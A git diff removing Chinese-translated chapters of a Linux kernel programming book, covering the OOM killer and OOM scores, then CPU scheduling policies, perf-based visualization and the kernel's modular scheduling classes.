-还要注意,在运行我们的程序之前,较大的系统缓存(页面缓存和缓冲区缓存)使用的内存量是非常大的。`free(1)`实用程序输出中名为`buff/cache`的列显示了这一点。在运行我们疯狂的分配器应用之前,2 GB 内存中有 866 MB 被用于页面缓存。然而,一旦我们的程序运行,它会对操作系统施加很大的内存压力,以至于执行了大量的交换——将内存页面分页到称为“交换”的原始磁盘分区,实际上所有的缓存都被释放了。不可避免地(当我们拒绝释放任何内存时),OOM 杀手会跳进去杀死我们,导致大量内存被回收。OOM 杀手清理后的可用内存和缓存使用量分别为 1.5 GB 和 192 MB。(目前缓存使用率较低;它会随着系统的运行而增加。) - -查内核日志发现,OOM 杀手确实来过我们这里!请注意,以下部分屏幕截图仅显示了运行 5.4.0 内核的 x86_64 Fedora 31 虚拟机上的堆栈转储: - -![](img/06c7e3e9-3f3f-454e-95e0-2d32918c24a8.png) - -Figure 9.8 – The kernel log after the OOM killer, showing the kernel call stack - -以自下而上的方式读取*图 9.8* 中的内核模式堆栈(忽略以`?`开头的帧):很明显,出现了页面错误;你可以看到呼叫帧:`page_fault()`|`do_page_fault()`|`[ ... ]`|`__hande_mm_fault()`|`__do_fault()`|`[ ... ]`|`__alloc_pages_nodemask()`。 - -想想看,这是完全正常的:故障是由内存管理单元在试图为没有物理对应物的虚拟页面提供服务时引发的。操作系统的故障处理代码运行(在进程上下文中,意味着`current`运行它的代码!);它最终会导致 OS 调用页面分配器例程的`__alloc_pages_nodemask()`函数,正如我们之前了解到的,它实际上是分区好友系统(或页面)分配器的核心——内存分配的引擎! - -不正常的是,这一次它(`__alloc_pages_nodemask()`功能)失败了!这被认为是一个关键问题,并导致操作系统调用 OOM 杀手(您可以在上图中看到`out_of_memory`调用帧)。 - -在诊断转储的后半部分,内核努力证明其终止给定进程的理由。它显示了所有线程、它们的内存使用情况(以及各种其他统计数据)的表格。实际上,显示这些统计数据是由于`sysctl : /proc/sys/vm/oom_dump_tasks` 默认开启(`1`)所致。下面是一个示例(在下面的输出中,我们删除了`dmesg`最左边的时间戳列,以使数据更具可读性): - -```sh -[...] -Tasks state (memory values in pages): -[ pid ] uid tgid total_vm rss pgtables_bytes swapents oom_score_adj name -[ 607] 0 607 11774 8 106496 361 -250 systemd-journal -[ 622] 0 622 11097 0 90112 1021 -1000 systemd-udevd -[ 732] 0 732 7804 0 69632 153 -1000 auditd - - [...] - -[ 1950] 1000 1950 56717 1 77824 571 0 bash -[ 2032] 1000 2032 755460 434468 6086656 317451 0 oom_killer_try -oom-kill:constraint=CONSTRAINT_NONE,nodemask=(null),cpuset=/,mems_allowed=0,global_oom,task_memcg=/user.slice/user-1000.slice/session-3.scope,task=oom_killer_try,pid=2032,uid=1000 -Out of memory: Killed process 2032 (oom_killer_try) total-vm:3021840kB, anon-rss:1737872kB, file-rss:0kB, shmem-rss:0kB, UID:1000 pgtables:6086656kB oom_score_adj:0 -oom_reaper: reaped process 2032 (oom_killer_try), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB -$ -``` - -在前面的输出中,我们用粗体突出显示了`rss` ( *常驻集大小*)列,因为它很好地指示了所讨论的进程的物理内存使用情况(单位是 KB)。显然,我们的`oom_killer_try`进程正在使用大量的物理内存。另外,请注意它的交换条目数(`swapents`)非常高。现代内核(从 4.6 开始)使用专门的`oom_reaper`内核线程来执行收割(杀死)受害者进程的工作(前面输出的最后一行显示这个内核线程收割了我们精彩的`oom_killer_try`进程!).有趣的是,Linux 内核的 OOM 可以被认为是针对叉形炸弹和类似的**(分布式)拒绝服务** ( **(D)DoS** )攻击的(最后)防御。 - -## 理解 OOM 分数 - -为了加速发现占用内存的进程在关键时刻是什么(当 OOM 杀手被调用时),内核在每个进程的基础上分配并维护一个 *OOM 分数*(你总是可以在`/proc//oom_score`伪文件中查找该值)。 - -OOM 评分范围为`0`至`1000`: - -* `0`的 OOM 分数意味着进程没有使用任何可用的内存 -* `1000`的 OOM 分数意味着该进程正在使用 100%的可用内存 - -显然,OOM 得分最高的流程获胜。它的奖励——它会被 OOM 杀手立刻杀死(谈论枯燥的幽默)。不过没那么快:内核有启发式算法来保护重要的任务。例如,烘焙试探法暗示 OOM 杀手不会选择任何根拥有的进程、内核线程或硬件设备打开的任务作为其受害者。 - -如果我们想确保某个过程*永远不会被 OOM 杀手杀死*会怎么样?这样做是完全可能的,尽管它确实需要根访问。内核提供一个可调的`/proc//oom_score_adj`,一个 OOM 调整值(默认为`0`)。*净* OOM 分数是`oom_score`值和调整值之和: - -```sh - net_oom_score = oom_score + oom_score_adj; -``` - -因此,将进程的`oom_score_adj`值设置为`1000`几乎可以保证它会被杀死,而将其设置为`-1000`则有完全相反的效果——它永远不会被选为受害者。 - -查询(甚至设置)流程的 OOM 分数(以及 OOM 调整值)的快速方法是通过`choom(1)`实用程序。比如查询 systemd 流程的 OOM 评分和 OOM 调整值,只需做`choom -p 1`。我们做了一件显而易见的事情——写了一个简单的脚本(内部使用`choom(1)`)来查询系统上当前所有活动进程的 OOM 分数(这里是:`ch9/query_process_oom.sh`;一定要在你的盒子上试试。快速提示:系统中 OOM 评分最高的(十)个流程可以快速看到(第三列为净 OOM 评分): - -```sh -./query_process_oom.sh | sort -k3n | tail -``` - -至此,我们结束了这一节,也结束了这一章。 - -# 摘要 - -在这一章中,我们继续上一章的内容。我们详细介绍了如何创建和使用您自己的自定义 slab 缓存(当您的驱动程序或模块非常频繁地分配和释放某个数据结构时很有用),以及如何使用一些内核基础设施来帮助您调试 slab (SLUB)内存问题。然后,我们了解并使用了内核`vmalloc`API(和朋友),包括如何在内存页面上设置给定的内存保护。有了丰富的内存 API 和策略,您如何选择在给定情况下使用哪一个?我们用一个有用的*决策图*和表格来解决这个重要的问题。最后,我们深入了解了内核的 *OOM 杀手*组件是什么,以及如何使用它。 - -正如我之前提到的,对 Linux 内存管理内部和导出的应用编程接口集足够深入的了解将对作为内核模块和/或设备驱动程序作者的您大有帮助。众所周知,现实是开发人员花费了大量的时间来排除故障和调试代码;在这里获得的复杂知识和技能将帮助你更好地穿越这些迷宫。 - -这就完成了本书对 Linux 内核内存管理的明确介绍。虽然我们已经涵盖了许多领域,但我们也遗漏了或仅仅浏览了其中的一些。 - -事实上,Linux 内存管理是一个巨大而复杂的话题,非常值得理解,以便学习、编写更高效的代码和调试复杂的情况。 - -学习强大的`crash(1)`实用程序的(基本)用法(用于通过实时会话或内核转储文件深入查看内核),然后用这些知识重新查看本章和上一章的内容确实是一种强大的学习方式! - -很好的讲解了 Linux 内存管理!接下来的两章将让你了解另一个核心操作系统主题——如何在 Linux 操作系统上执行 *CPU 调度*。休息一下,做下面的作业和问题,浏览*进一步阅读*材料,抓住你的兴趣。然后,重振旗鼓,和我一起跳到下一个激动人心的领域! - -# 问题 - -作为我们的总结,这里有一个问题列表,供您测试您对本章材料的知识:[https://github . com/packt publishing/Linux-Kernel-Programming/tree/master/questions](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/questions)。你会在这本书的 GitHub repo 中找到一些问题的答案:[https://GitHub . com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions _ to _ assgn](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions_to_assgn)。 - -# 进一步阅读 - -为了帮助您用有用的材料更深入地研究这个主题,我们在本书的 GitHub 存储库中的进一步阅读文档中提供了一个相当详细的在线参考资料和链接列表(有时甚至是书籍)。*进一步阅读*文档可在此处获得:[https://github . com/packt publishing/Linux-Kernel-Programming/blob/master/进一步阅读. md](https://github.com/PacktPublishing/Linux-Kernel-Programming/blob/master/Further_Reading.md) 。** \ No newline at end of file diff --git a/docs/linux-kernel-prog/10.md b/docs/linux-kernel-prog/10.md deleted file mode 100644 index d9d7a56a..00000000 --- a/docs/linux-kernel-prog/10.md +++ /dev/null @@ -1,628 +0,0 @@ -# 十、CPU 调度器——第一部分 - -在本章和下一章中,您将深入了解一个关键操作系统主题的细节,即 Linux 操作系统上的 CPU 调度。我将尝试通过提出(和回答)典型问题以及执行与日程安排相关的常见任务来保持学习的实践性。从内核(和驱动程序)开发人员的角度来看,了解调度在操作系统级别的工作方式不仅很重要,而且它还会自动使您成为更好的系统架构师(即使对于用户空间应用)。 - -我们将从介绍基本的背景材料开始;这将包括 Linux 上的**内核可调度实体** ( **KSE** )以及 Linux 实现的 POSIX 调度策略。然后,我们将继续使用工具–`perf`和其他工具来可视化操作系统在 CPU 上运行任务并在它们之间切换时的控制流。这对于了解分析应用也很有用!之后,我们将更深入地探讨 CPU 调度在 Linux 上到底是如何工作的细节,涵盖模块化调度类、**完全公平调度** ( **CFS** )、核心调度功能的运行等等。在此过程中,我们还将介绍如何以编程方式(和动态方式)查询和设置系统上任何线程的调度策略和优先级。 - -在本章中,我们将涵盖以下领域: - -* 了解中央处理器调度内部——第 1 部分——基本背景 -* 可视化流程 -* 了解中央处理器调度内部——第 2 部分 -* 线程–哪个调度策略和优先级 -* 了解中央处理器调度内部——第 3 部分 - -现在,让我们从这个有趣的话题开始吧! - -# 技术要求 - -我假设您已经完成了[第 1 章](01.html)、*内核工作区设置*,并适当准备了一个运行 Ubuntu 18.04 LTS(或更高版本的稳定版本)的来宾**虚拟机** ( **VM** )并安装了所有需要的软件包。如果没有,我强烈建议你先做这个。 - -为了充分利用这本书,我强烈建议您首先设置工作区环境,包括克隆这本书的 GitHub 代码存储库,并以动手的方式进行处理。知识库可以在这里找到:[https://github.com/PacktPublishing/Linux-Kernel-Programming](https://github.com/PacktPublishing/Linux-Kernel-Programming)。 - -# 了解中央处理器调度内部——第 1 部分——基本背景 - -让我们快速了解一下理解 Linux 上的 CPU 调度所需的基本背景信息。 - -Note that in this book, we do not intend to cover material that competent system programmers on Linux should already be well aware of; this includes basics such as process (or thread) states, the state machine and transitions on it, and more information on what real time is, the POSIX scheduling policies, and so on. This (and more) has been covered in some detail in my earlier book: *Hands-On System Programming with Linux*, published by Packt in October 2018. - -## Linux 上的 KSE 是什么? - -正如您在[第 6 章](06.html)、*内核内部要素—进程和线程*中所学的那样,在*组织进程、线程及其堆栈—用户和内核空间*部分中,每个进程—实际上,系统中的每个活动线程—都被赋予了任务结构(`struct task_struct`)以及用户模式和内核模式堆栈。 - -这里要问的关键问题是:执行调度时,*作用于*什么对象,换句话说,**内核可调度实体**、 **KSE** 是什么?在 Linux 上,**KSE 是一个线程**,而不是一个进程(当然,每个进程至少包含一个线程)。因此,线程是执行调度的粒度级别。 - -一个例子将有助于解释这一点:如果我们有一个假设的情况,其中我们有一个中央处理器内核和 10 个用户空间进程,每个由三个线程组成,加上五个内核线程,那么我们总共有(10 x 3) + 5,这等于 35 个线程。除了五个内核线程之外,每个线程都有一个用户和内核堆栈以及一个任务结构(内核线程只有内核堆栈和任务结构;所有这些在[第 6 章](06.html)、*内核内部要素-进程和线程*中,在*组织进程、线程及其堆栈-用户和内核空间*一节中有详细的解释。现在,如果所有这 35 个线程都是可运行的,那么它们将争夺单个处理器(虽然它们不太可能同时运行,但为了讨论起见,让我们考虑一下),那么我们现在有 35 个*线程*在争夺 CPU 资源,而不是 10 个进程和 5 个内核线程。 - -既然我们理解了 KSE 是一个线程,我们将(几乎)总是在调度的上下文中引用该线程。既然理解了这一点,让我们继续讨论 Linux 实现的调度策略。 - -## POSIX 调度策略 - -重要的是要认识到,Linux 内核并不只有一个算法来实现 CPU 调度;事实是,POSIX 标准规定了符合 POSIX 的 OS 必须遵守的最少三种调度策略(算法,实际上)。Linux 超越了这一点,用一种叫做调度类的强大设计实现了这三个以及更多(在本章后面的*理解模块化调度类*一节中有更多关于这一点的内容)。 - -Again, information on the POSIX scheduling policies on Linux (and more) is covered in more detail in my earlier book, *Hands-On System Programming with Linux*, published by Packt in October 2018\. - -现在,让我们在下表中简单总结一下 POSIX 调度策略及其效果: - -| **调度策略** | **要点** | **优先等级** | -| `SCHED_OTHER`或`SCHED_NORMAL` | 总是默认值;使用此策略的线程是非实时的;内部实现为一个**完全公平调度** ( **CFS** )类(见后面*关于 CFS 的一句话和 vruntime 值*部分)。这种调度策略背后的动机是公平性和总吞吐量。 | 实时优先级为`0`;非实时优先级被称为 nice 值:它的范围从-20 到+19(较低的数字意味着较高的优先级),基数为 0 | -| `SCHED_RR` | 这个调度策略背后的动机是一个适度激进的(软)实时策略。 -具有有限的时间片(通常默认为 100 毫秒)。 -一个`SCHED_RR`线程将产生处理器 IFF(当且仅当): --它阻塞输入/输出(进入睡眠状态)。 --它停止或死亡。 --一个更高优先级的实时线程变得可运行(这将抢占这个线程)。 --其时间片过期。 | (软)实时: -1 到 99(更高的数字 -表示更高的优先级) | -| `SCHED_FIFO` | 这个调度策略背后的动机是一个(软)实时策略,它(相比之下)非常激进。 -一个`SCHED_FIFO`线程将产生处理器 IFF: --它阻塞输入/输出(进入睡眠状态)。 --停止或死亡。 --一个更高优先级的实时线程变得可运行(这将抢占这个线程)。 -实际上,它有无限的时间片。 | (与`SCHED_RR`相同) | -| `SCHED_BATCH` | 这个调度策略背后的动机是一个适合于非交互式批处理作业的调度策略,较少抢占。 | 不错的数值范围(-20 到+19) | -| `SCHED_IDLE` | 特例:典型的 PID `0`内核线程 -(传统上称为`swapper`;实际上,是每 CPU 空闲线程)使用了这个策略。它总是保证是系统中优先级最低的线程,并且只在没有其他线程需要 CPU 时运行。 | 所有优先级中最低的一个(认为它低于尼斯值+19) | - -It's important to note that when we say real-time in the preceding table, we really mean *soft* (or at best, *firm*) real time and *not* hard real time as in an **Real-Time Operating System** (**RTOS**). Linux is a **GPOS**, a **general-purpose OS**, not an RTOS. Having said that, you can convert vanilla Linux into a true hard real-time RTOS by applying an external patch series (called the RTL, supported by the Linux Foundation); you'll learn how to do precisely this in the following chapter in the *Converting mainline Linux into an RTOS* section. - -请注意,一个`SCHED_FIFO`线程实际上有无限的时间片,并且一直运行,直到它希望或者前面提到的条件之一实现。在这一点上,重要的是要理解我们只关心线程(KSE)调度;在 Linux 这样的操作系统上,现实是硬件(和软件)*中断*总是占优,甚至会一直抢占(内核或用户空间)`SCHED_FIFO`线程!请务必参考图 6.1 来了解这一点。此外,我们将在[第 14 章](10.html)、*处理硬件中断*中详细介绍硬件中断。对于我们在这里的讨论,我们将暂时忽略中断。 - -优先级缩放很简单: - -* 非实时线程(`SCHED_OTHER`)的实时优先级为`0`;这确保了它们甚至不能与实时线程竞争。他们使用一个(旧的 UNIX 风格)优先级值,称为**好值**,范围从-20 到+19 (-20 是最高优先级,+19 是最差优先级)。 - -The way it's implemented on modern Linux, each nice level corresponds to an approximate 10% change (or delta, plus or minus) in CPU bandwidth, which is a significant amount. - -* 实时线程(`SCHED_FIFO / SCHED_RR`)的实时优先级从 1 到 99,1 是最低优先级,99 是最高优先级。这样想:在一个只有一个 CPU 的不可抢占的 Linux 系统上,一个`SCHED_FIFO`优先级为 99 的线程在牢不可破的无限循环中旋转,会有效地挂起机器!(当然,即使这样也会被中断抢占——包括硬中断和软中断;参见图 6.1。 - -当然,调度策略和优先级(静态 nice 值和实时优先级)都是任务结构的成员。一个线程所属的调度类是排他的:一个线程在给定的时间点只能属于一个调度策略(不用担心,我们稍后会在 *CPU 调度内部部分–第 2 部分*部分中详细介绍调度类)。 - -此外,您应该意识到,在现代 Linux 内核中,还有其他调度类(停止调度和截止日期),它们实际上(在优先级上)优于我们前面提到的 FIFO/RR 类。现在你已经有了基本的概念,让我们继续进行一些非常有趣的事情:我们如何实际上*可视化*控制流。继续读! - -# 可视化流程 - -多核系统已经导致进程和线程在不同的处理器上并发执行。这有助于获得更高的吞吐量和性能,但也会导致共享可写数据的同步问题。因此,例如,在具有四个处理器内核的硬件平台上,我们可以期望进程(和线程)在其上并行执行。这不是什么新鲜事;然而,有没有一种方法可以真正看到哪些进程或线程正在哪个 CPU 内核上执行——也就是说,一种可视化处理器时间线的方法?事实证明,确实有几种方法可以做到这一点。在接下来的部分中,我们将用`perf`看一个有趣的方法,随后是其他方法(用 LTTng、Trace Compass 和 Ftrace)。 - -## 使用 perf 可视化流程 - -拥有大量开发人员和**质量保证** ( **QA** )工具的 Linux 在`perf(1)`中有一个非常强大的工具。简而言之,`perf`工具集是在 Linux 盒子上执行 CPU 分析的现代方式。(除了几个小技巧,本书没有详细介绍`perf`。) - -类似于古老的`top(1)`实用程序,要想了解吞噬 CPU 的因素(比`top(1)`详细得多),这套 **`perf(1)`** 实用程序非常出色。不过,请注意,对于一款应用来说,`perf`与它运行的内核紧密相连,这是非常不寻常的。首先安装`linux-tools-$(uname -r)`软件包很重要。此外,发行包将不能用于我们已经构建的定制 5.4 内核;所以,在使用`perf`的时候,我建议你用标准(或者发行版)内核之一引导你的客户 VM,安装`linux-tools-$(uname -r)`包,然后尝试使用`perf`。(当然,您总是可以从内核源代码树中的`tools/perf/`文件夹下手动构建 perf。) - -安装并运行`perf`后,请尝试以下`perf`命令: - -```sh -sudo perf top -sudo perf top --sort comm,dso -sudo perf top -r 90 --sort pid,comm,dso,symbol -``` - -(顺便说一下,`comm`暗含命令/进程的名称,`**dso**`是**动态共享对象**的缩写。使用`alias`使它更容易;尝试这一个(一行)获得更详细的细节(调用栈也可以扩展!): - -```sh -alias ptopv='sudo perf top -r 80 -f 99 --sort pid,comm,dso,symbol --demangle-kernel -v --call-graph dwarf,fractal' -``` - -`perf(1)`上的`man`页面提供了详细信息;使用`man perf-`符号,例如`man perf-top`,获得`perf top`的帮助。 - -使用`perf`的一种方法是获得什么任务在什么 CPU 上运行的想法;这是通过`perf`中的`timechart`子命令完成的。您可以使用`perf`记录事件,既可以是系统范围的,也可以是特定过程的。要在系统范围内记录事件,请运行以下命令: - -```sh -sudo perf timechart record -``` - -用信号(`^C`)终止录制会话。这将默认生成名为`perf.data`的二进制数据文件。现在可以用以下内容对其进行检查: - -```sh -sudo perf timechart -``` - -该命令生成一个**可伸缩矢量图形** ( **SVG** )文件!可以使用矢量绘图工具(如 Inkscape,或通过 ImageMagick 中的`display`命令)或简单地在网络浏览器中查看。研究时序图会很有意思;我劝你试试。但是请注意,矢量图像可能非常大,因此需要一段时间才能打开。 - -在运行 Ubuntu 18.10 的本机 Linux x86_64 笔记本电脑上运行的系统范围采样如下所示: - -```sh -$ sudo perf timechart record -[sudo] password for : -^C[ perf record: Woken up 18 times to write data ] -[ perf record: Captured and wrote 6.899 MB perf.data (196166 samples) ] -$ ls -lh perf.data --rw------- 1 root root 7.0M Jun 18 12:57 perf.data -$ sudo perf timechart -Written 7.1 seconds of trace to output.svg. -``` - -It is possible to configure `perf` to work with non-root access. Here, we don't; we just run `perf` as root via `sudo(8)`. - -`perf`生成的 SVG 文件截图如下图所示。要查看 SVG 文件,您只需将其拖放到网络浏览器中: - -![](img/47ce58a7-0513-45cc-a9c6-8ff3721ecb60.png) - -Figure 10.1 – (Partial) screenshot showing the SVG file generated by sudo perf timechart - -在前面的截图中,作为一个例子,你可以看到`EMT-0`线程正忙,占用了最大的 CPU 周期(短语 CPU 3 不幸不清楚;仔细看 CPU 2 下方的紫色条)。这是有道理的;是代表 VirtualBox 的**虚拟 CPU** ( **VCPU** )的线程,我们在这里运行 Fedora 29 ( **EMT** 代表**仿真器线程**)! - -你可以放大和缩小这个 SVG 文件,研究`perf`默认记录的调度和 CPU 事件。下图是放大 400%到上一张截图的 CPU 1 区域时的部分截图,显示了在 CPU #1 上运行的`htop`(紫色带显示了执行时的切片): - -![](img/2c6587c5-2a8f-45d6-94be-178d62028f31.png) - -Figure 10.2 – Partial screenshot of perf timechart's SVG file, when zoomed in 400% to the CPU 1 region - -还有什么?通过使用`-I`选项切换到`perf timechart record`,您可以仅请求记录系统范围的磁盘输入/输出(显然还有网络)事件。这可能特别有用,因为真正的性能瓶颈通常是由输入/输出活动(而不是中央处理器;输入输出通常是罪魁祸首!).`perf-timechart(1)`上的`man`页面详细介绍了更多有用的选项;例如,`--callchain`执行堆栈回溯记录。又如,`--highlight `选项开关将突出显示所有名称为``的任务。 - -You can convert `perf`'s binary `perf.data` record file into the popular **Common Trace Format** (**CTF**) file format, using `perf data convert -- all --to-ctf`, where the last argument is the directory where the CTF file(s) get stored. Why is this useful? CTF is the native data format used by powerful GUI visualizers and analyzer tools such as Trace Compass (seen later in [Chapter 11](11.html), *The CPU Scheduler – Part 2*, under the *Visualization with LTTng and Trace Compass* section). - -However, there is a catch, as mentioned in the Trace Compass Perf Profiling user guide ([https://archive.eclipse.org/tracecompass.incubator/doc/org.eclipse.tracecompass.incubator.perf.profiling.doc.user/User-Guide.html](https://archive.eclipse.org/tracecompass.incubator/doc/org.eclipse.tracecompass.incubator.perf.profiling.doc.user/User-Guide.html)): "*Not all Linux distributions have the ctf conversion builtin. One needs to compile perf (thus linux) with environment variables LIBBABELTRACE=1 and LIBBABELTRACE_DIR=/path/to/libbabeltrace to enable that support*." - -Unfortunately, as of the time of writing, this is the case with Ubuntu. - -## 通过替代方法可视化流程 - -当然,还有其他方法来可视化每个处理器上运行的内容;我们在这里提到了一对夫妇,并为第 11 章、*的中央处理器调度程序–第 2 部分*保存了另一个有趣的(LTTng)在*LTTNG 可视化和跟踪罗盘*部分: - -* 用`perf(1)`,再次运行`sudo perf sched record`命令;这记录了活动。用`^C`信号终止它,然后用`sudo perf sched map`查看处理器上的执行图。 -* 一些简单的 Bash 脚本可以显示给定内核上正在执行什么(对`ps(1)`的简单包装)。在下面的代码片段中,我们展示了示例 Bash 函数;例如,下面的`c0()`功能显示了当前在 CPU 核心`#0`上执行的内容,而`c1()`对核心`#1`也是如此: - -```sh -# Show thread(s) running on cpu core 'n' - func c'n' -function c0() -{ - ps -eLF | awk '{ if($5==0) print $0}' -} -function c1() -{ - ps -eLF | awk '{ if($5==1) print $0}' -} -``` - -While on the broad topic of `perf`, Brendan Gregg has a very useful series of scripts that perform a lot of the hard work required when monitoring production Linux systems using `perf`; do take a look at them here: [https://github.com/brendangregg/perf-tools](https://github.com/brendangregg/perf-tools) (some distributions include them as a package called `perf-tools[-unstable]`). - -一定要试试这些选择(包括`perf-tools[-unstable] package`)! - -# 了解中央处理器调度内部——第 2 部分 - -这一部分深入研究了内核中央处理器调度的内部,重点是现代设计的核心方面,模块化调度器类。 - -## 理解模块化调度类 - -重要的内核开发者 Ingo Molnar(和其他人一起)重新设计了内核调度器的内部结构,引入了一种称为**调度类**的新方法(这要追溯到 2007 年 10 月 2.6.23 内核的发布)。 - -As a side note, the word *class* here isn't a coincidence; many Linux kernel features are intrinsically, and quite naturally, designed with an **object-oriented** nature. The C language, of course, does not allow us to express this directly in code (hence the preponderance of structures with both data and function pointer members, emulating a class). Nevertheless, the design is very often object-oriented (as we shall again see with the driver model in a later chapter). Please see the *Further reading* section of this chapter for more details on this. - -在核心调度代码`schedule()`函数下引入了一层抽象。`schedule()`下的这一层一般称为调度类,在设计上是模块化的。注意*模块化*这个词在这里意味着调度程序类可以从内嵌内核代码中添加或删除;与**可加载内核模块** ( **LKM** )框架无关。 - -基本思想是这样的:当核心调度器代码(由`schedule()`函数封装)被调用时,理解它下面有各种可用的调度类,它以预定义的优先级顺序迭代每个类,询问每个类是否有线程(或进程)需要调度到处理器上(具体如何,我们将很快看到)。 - -从 5.4 Linux 内核开始,这些是内核中的调度程序类,按优先级顺序列出,优先级最高的优先: - -```sh -// kernel/sched/sched.h -[ ... ] -extern const struct sched_class stop_sched_class; -extern const struct sched_class dl_sched_class; -extern const struct sched_class rt_sched_class; -extern const struct sched_class fair_sched_class; -extern const struct sched_class idle_sched_class; -``` - -在这里,我们有五个调度类——停止调度、截止日期、(软)实时、公平和空闲——按优先级从高到低排序。抽象这些调度类的数据结构`struct sched_class`被串在一个单链表上,核心调度代码对其进行迭代。(稍后你会看到`sched_class`结构是什么;暂时忽略它)。 - -每个线程都与其自己唯一的任务结构相关联(`task_struct`);在任务结构中,`policy`成员指定线程遵循的调度策略(通常是`SCHED_FIFO`、`SCHED_RR`或`SCHED_OTHER`之一)。它是排他的——一个线程在任何给定的时间点只能遵守一个调度策略(尽管它可以被改变)。类似地,任务结构的另一个成员`struct sched_class`持有线程所属的模块化调度类(也是排他的)。调度策略和优先级都是动态的,可以通过编程方式(或通过实用程序;你很快就会看到这一点)。 - -所以知道了这些,你现在会意识到,所有遵循`SCHED_FIFO`或`SCHED_RR`调度策略的线程都映射到`rt_sched_class`(对于它们在任务结构中的`sched_class`),所有属于`SCHED_OTHER`(或`SCHED_NORMAL`)的线程都映射到`fair_sched_class`,空闲线程(`swapper/n`,其中`n`是从`0`开始的 CPU 号)总是映射到`idle_sched_class`调度类。 - -当内核需要调度时,这是基本的调用序列: - -```sh -schedule() --> __schedule() --> pick_next_task() -``` - -前面调度类的实际迭代发生在这里;参见`pick_next_task()`的(部分)代码,如下: - -```sh -// kernel/sched/core.c - /* - * Pick up the highest-prio task: - */ -static inline struct task_struct * -pick_next_task(struct rq *rq, struct task_struct *prev, struct rq_flags *rf) -{ - const struct sched_class *class; - struct task_struct *p; - - /* Optimization: [...] */ - [...] - - for_each_class(class) { - p = class->pick_next_task(rq, NULL, NULL); - if (p) - return p; - } - - /* The idle class should always have a runnable task: */ - BUG(); -} -``` - -前面的`for_each_class()`宏建立了一个`for`循环来迭代所有的调度类。其实施如下: - -```sh -// kernel/sched/sched.h -[...] -#ifdef CONFIG_SMP -#define sched_class_highest (&stop_sched_class) -#else -#define sched_class_highest (&dl_sched_class) -#endif - -#define for_class_range(class, _from, _to) \ - for (class = (_from); class != (_to); class = class->next) - -#define for_each_class(class) \ - for_class_range(class, sched_class_highest, NULL) -``` - -从前面的实现中可以看到,从`sched_class_highest`到`NULL`(意味着它们所在的链表的末尾),每个类中的代码都被通过`pick_next_task()`“方法”询问下一个调度对象。现在,调度类代码确定它是否有任何要执行的候选。怎么做?其实很简单;它只是查找它的**运行队列**数据结构。 - -现在,这是一个关键点:*内核为每个处理器内核和每个调度类维护一个运行队列*!所以,如果我们有一个系统,比如说,有八个中央处理器核心,那么我们将有 *8 个核心* 5 个调度类= 40 个运行队列*!运行队列实际上是按 CPU 变量实现的,这是一种有趣的无锁技术(例外:在**单处理器** ( **UP** )系统上,`stop-sched`类不存在): - -![](img/81a46dfa-80bb-40c0-b2df-5a9e2178fb63.png) - -Figure 10.3 – There is a runqueue per CPU core per scheduling class - -请注意,在前面的图中,我显示运行队列的方式可能会使它们看起来像数组。这根本不是目的,这只是一个概念图。实际使用的 runqueue 数据结构取决于调度类(类代码毕竟实现了 runqueue)。它可以是一系列链表(如实时类),一棵树-一棵红-黑(rb)树-**T3(如公平类),等等。** - -为了帮助更好地理解调度器类模型,我们将设计一个例子:假设在一个**对称多处理器** ( **SMP** )或多核)系统上,我们有 100 个活动线程(在用户和内核空间中)。其中,我们有几个竞争的中央处理器;也就是说,它们处于准备运行(运行)状态,这意味着它们是可运行的,因此在运行队列数据结构上排队: - -* 线程 S1:调度器类,`stop-sched` ( **SS** ) -* 线程 D1 和 D2:调度程序类,**截止时间** ( **DL** ) -* 线程 RT1 和 RT2:调度器类,**实时** ( **RT** ) -* 线程 F1、F2 和 F3:调度程序类,CFS(或公平) -* 线程 I1:调度程序类,空闲。 - -想象一下,首先,线程 F2 在处理器内核上,愉快地执行代码。在某个时候,内核希望上下文切换到该 CPU 上的其他任务(是什么触发了这一点?你很快就会看到的)。在调度代码路径上,内核代码最终在`kernel/sched/core.c:void schedule(void)`内核例程中结束(同样,代码级细节在后面)。现在需要理解的是,`schedule()`调用的`pick_next_task()`例程遍历调度器类的链表,询问每个调度器类是否有候选运行。它的代码路径(当然是概念上的)看起来像这样: - -1. 核心调度器代码(`schedule()`):*H**ey,SS,有没有想运行的线程?*” -2. SS 类代码:迭代它的运行队列,并找到一个可运行的线程;它这样回答:“*是的,我知道,是线程 S* *1。*” -3. 核心调度器代码(`schedule()`):*好的,让我们上下文切换到 S1。*” - -任务完成了。但是,如果该处理器的 SS 运行队列中没有可运行的线程 S1(或者它已经进入睡眠状态,或者被停止,或者它在另一个 CPU 的运行队列中),该怎么办呢?然后,SS 会说“*不*”,接下来最重要的调度班 DL 会被问到。如果它有想要运行的潜在候选线程(在我们的例子中是 D1 和 D2),它的类代码将识别应该运行 D1 还是 D2,并且内核调度器将忠实地上下文切换到它。对于实时和公平调度类,这个过程将继续。(一图胜千言,对吧:见图 10.4)。 - -很可能(在您典型的中等负载的 Linux 系统上),没有 SS、DL 或 RT 候选线程想要在有问题的 CPU 上运行,并且通常至少有一个公平(CFS)线程想要运行;因此,它将被挑选并被上下文切换到。如果没有想要运行的线程(没有 SS/DL/RT/CFS 类线程想要运行),这意味着系统当前是空闲的(懒惰的一章)。现在,空闲类被问及是否要运行:它总是说是!这很有道理:毕竟,在没有其他人需要的时候,在处理器上运行是 CPU 空闲线程的工作。因此,在这种情况下,内核将上下文切换到空闲线程(通常标记为`swapper/n`,其中`n`是它正在执行的中央处理器号(从`0`开始)。 - -此外,请注意`swapper/n` (CPU 空闲)内核线程没有出现在`ps(1)`列表中,尽管它一直存在(回想一下我们在[第 6 章](06.html)、*内核内部本质–进程和线程*中演示的代码,这里:`ch6/foreach/thrd_showall/thrd_showall.c`。在那里,我们编写了一个`disp_idle_thread()`例程来显示中央处理器空闲线程的一些细节,因为即使是我们在那里使用的内核`do_each_thread() { ... } while_each_thread()`循环也没有显示空闲线程。 - -下图简洁地总结了核心调度代码以优先级顺序调用调度类的方式,上下文切换到最终选择的下一个线程: - -![](img/28ae1a7d-27e9-43a1-afe4-7eda1414f686.png) - -Figure 10.4 – Iterating over every scheduling class to pick the task that will run next - -在下一章中,你将学习如何通过一些强大的工具来可视化内核流。在那里,这种迭代模块化调度器类的工作实际上被看到了。 - -### 询问排班 - 